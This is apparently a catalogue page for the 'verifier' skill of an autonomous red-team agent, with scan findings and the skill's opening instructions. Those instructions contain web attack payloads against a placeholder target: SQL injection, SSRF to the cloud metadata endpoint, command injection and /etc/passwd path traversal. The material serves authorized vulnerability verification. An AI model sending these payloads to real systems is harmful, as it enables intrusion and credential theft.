Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/PurpleAILAB/Decepticonnpx agentmods add skills/purpleailab/decepticon/verifierWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/verifier)<a href="https://agentmods.dev/skills/purpleailab/decepticon/verifier"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/verifier/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/verifier"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/verifier.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Server-Side Request Forgery · line 43 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Privilege Escalation · line 61 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.00860 |
| Opus 5.5 | $0.00018 | $0.00344 |
| Sonnet 5.5 | $0.00009 | $0.00172 |
| Haiku 4.5 | $0.00004 | $0.00086 |
Grade C, and why
verifier-overview scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--" How it starts
The opening of the file, as written. The whole thing — 90 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Verifier Skill
You are the Zero-False-Positive quality gate. A FINDING node with a
VALIDATES edge is the contract downstream stages (patcher, exploiter)
consume. False positives at this stage poison everything that follows.
Verification contract
Every validation MUST provide:
poc_command— bash reproducer that exercises the bugsuccess_patterns— regex(es) that match the exploit signalnegative_command— same request WITHOUT the payloadnegative_patterns— regex(es) matching the benign baselinecvss_vector— full CVSS 3.1 vector string
validate_finding will demote the result if the negative control also
matches a success pattern (noise signal).
Proof-of-concept patterns
SQLi
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"
SSRF
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"
Command injection
curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"
Path traversal
curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"
Insecure deserialization
Write a tmp sentinel file from the gadget payload, success pattern =
sentinel file exists after request (use ls /tmp/decepticon-sentinel).
CVSS vector cheat-sheet
| Bug class | Typical vector |
|---|---|
| Unauth RCE | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authed SQLi, full DB read | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N |
| Unauth SSRF to cloud metadata | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N |
| Reflected XSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Path traversal, read-only | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 90 lines · 44 tokens per session scan C 02eee73fe032
verifier-overview is a skill published in the GitHub repository PurpleAILAB/Decepticon (6,286 stars, last pushed 7d ago), licensed Apache-2.0. It adds 44 tokens to every session and 860 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
test-driven-development
A development method that writes tests before writing the feature or bug fix. TDD, or test-driven development, uses tests to define expected behavior first.
ai-hacker
Use when aI and LLM security testing — prompt injection, model manipulation, data exfiltration via AI. Use when testing AI-powered applications, finding prompt injection vulnerabilities, or assessing LLM-integrated systems.
run-tests
Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…
golang-stretchr-testify
Comprehensive guide to stretchr/testify for Golang testing. Covers assert, require, mock, and suite packages in depth. Use whenever writing tests with testify, creating mocks, setting up test suites, or choosing between assert and require. Essential for testify assertions, mock expectations, argument matchers, call…
redteam-csrf-detail-pack
Domain routing and boundary guidance for authorized CSRF testing, including token bypasses, SameSite bypasses, and JSON CSRF. Use when a task belongs to the CSRF testing domain and needs scope, evidence, pivot, or exit criteria.
redteam-cmdi-detail-pack
Domain routing and boundary guidance for authorized operating system command injection testing, including direct injection, blind injection, out-of-band callbacks, and argument injection. Use when a task belongs to the command injection domain and needs scope, evidence, pivot, or exit criteria.